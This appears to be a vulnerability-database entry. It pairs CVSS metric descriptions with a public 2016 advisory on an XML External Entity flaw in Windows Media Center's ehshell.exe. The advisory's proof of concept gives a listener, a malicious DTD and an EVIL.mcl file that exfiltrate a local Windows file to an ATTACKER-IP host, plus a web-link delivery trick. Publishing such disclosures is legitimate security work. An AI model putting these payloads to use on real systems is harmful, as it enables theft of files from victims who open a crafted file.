The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Microsoft Windows Media Center "ehshell.exe" XML External Entity[+] Credits: John Page aka hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-MEDIA-CENTER-XXE-FILE-DISCLOSURE.txt
[+] ISR: ApparitionSec
Vendor:
==================
www.microsoft.com
Product:
==================================
Windows Media Center "ehshell.exe"
version 6.1.7600
Vulnerability Type:
====================
XML External Entity
CVE Reference:
==============
N/A
Vulnerability Details:
=====================
Windows Media Center "ehshell.exe" is vulnerable to XML External Entity attack allowing remote access to ANY files on a victims computer, if they open
an XXE laden ".mcl" file via a remote share / USB or from an malicious "windowsmediacenterweb" web link.
Sometimes 'Windows Media Center' will crash, sometimes opens normally and other times will not open, but the files get accessed and exfiltrated.
Tested Windows 7 SP1
Exploit code(s):
===============
POC exfiltrate "msdfmap.ini" used by MS ADO Remote Data Services.
1) ATTACKER-IP listener
python -m SimpleHTTPServer 8080
2) Create the "FindMeThatBiotch.dtd" DTD file with below contents (host on ATTACKER-IP in directory where python server is listen)
<!ENTITY % param666 "<!ENTITY % FindMeThatBiotch SYSTEM 'http://ATTACKER-IP:8080/%data666;'>">
3) Create the "EVIL.mcl" file.
<?xml version="1.0"?>
<!DOCTYPE hyp3rlinx [
<!ENTITY % data666 SYSTEM "c:Windowsmsdfmap.ini">
<!ENTITY % junk SYSTEM "http://ATTACKER-IP:8080/FindMeThatBiotch.dtd">
%junk;
%param666;
%FindMeThatBiotch;
]>
4) Get victim to open the EVIL.mcl ... enjoy your files!
OR create link on webpage to run the file, but "user has to consent first".
<a href="windowsmediacenterweb://ATTACKER-IP:8080/EVIL.mcl">XXE POC</a>
Disclosure Timeline:
=======================================
Vendor Notification: September 1, 2016
Vendor opens Case 34970: September 6, 2016
Vendor reply "Wont Fix" : October 19, 2016
December 4, 2016 : Public Disclosure
Exploitation Technique:
=======================
Remote
Severity Level:
================
High
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.